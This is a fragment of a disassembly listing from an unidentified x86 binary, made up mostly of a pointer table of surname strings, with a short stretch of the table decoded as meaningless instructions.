		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		db 80h
; ---------------------------------------------------------------------------


loc_42EB39:				; CODE XREF: ___:0042EB40j
		test	dword ptr [edx+0], offset aScudder ; "Scudder"
		jo	short loc_42EB39
		inc	edx
		add	[eax-9], ch
		inc	edx
		add	[eax-9], ah
		inc	edx
		add	[eax-9], bl
		inc	edx
		add	[eax-9], dl
		inc	edx
		add	[edi+esi*8+42h], cl
		add	[edi+esi*8+42h], al
		add	[eax], bh
		test	dword ptr [edx+0], offset aSexton ; "Sexton"
		sub	bh, dh
		inc	edx
		add	[eax], ah
		test	dword ptr [edx+0], offset aShakis ; "Shakis"
		or	al, 0F7h
		inc	edx
		add	[edi+esi*8], al
		inc	edx
		add	ah, bh
		test	byte ptr [edx+0], 0F4h
		test	byte ptr [edx+0], 0E8h
		test	byte ptr [edx+0], 0E0h
		test	byte ptr [edx+0], 0D8h
		test	byte ptr [edx+0], 0CCh
		test	byte ptr [edx+0], 0C0h
		test	byte ptr [edx+0], 0B4h
		test	byte ptr [edx+0], 0ACh
		test	byte ptr [edx+0], 0A4h
		test	byte ptr [edx+0], 9Ch
		test	byte ptr [edx+0], 94h
		test	byte ptr [edx+0], 8Ch
		test	byte ptr [edx+0], 84h
		test	byte ptr [edx+0], 7Ch
		test	byte ptr [edx+0], 74h
		test	byte ptr [edx+0], 68h
		test	byte ptr [edx+0], 5Ch
		test	byte ptr [edx+0], 50h
		test	byte ptr [edx+0], 48h
		test	byte ptr [edx+0], 40h
		test	byte ptr [edx+0], 38h
		test	byte ptr [edx+0], 30h
		test	byte ptr [edx+0], 28h
		test	byte ptr [edx+0], 20h
		test	byte ptr [edx+0], 18h
		test	byte ptr [edx+0], 10h
		test	byte ptr [edx+0], 8
		test	byte ptr [edx+0], 0FCh
		cmc
		inc	edx
		add	ah, dh
		cmc
		inc	edx
		add	ah, ch
		cmc
		inc	edx
		add	ah, ah
		cmc
		inc	edx
		add	al, bl
		cmc
		inc	edx
		add	ah, cl
		cmc
		inc	edx
		add	ah, al
		cmc
		inc	edx
		add	[ebp+esi*8-0A4BFFBEh], bh
		inc	edx
		add	[ebp+esi*8-0A5FFFBEh], ch
		inc	edx
		add	[eax-6FFFBD0Bh], bl
		cmc
		inc	edx
		add	[ebp+esi*8-0A83FFBEh], al
		inc	edx
		add	[ebp+esi*8+42h], dh
		add	[ebp+esi*8+42h], ch
		add	[ebp+esi*8+42h], ah
		add	[ebp+esi*8+42h], dl
		add	[eax-0Bh], cl
		inc	edx
		add	[eax-0Bh], al
		inc	edx
		add	ds:0F52C0042h[esi*8], dh
		inc	edx
		add	ds:0F51C0042h[esi*8], ah
		inc	edx
		add	ds:0F5040042h[esi*8], cl
		inc	edx
		add	al, bh
; ---------------------------------------------------------------------------
		db 0F4h, 42h, 0
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
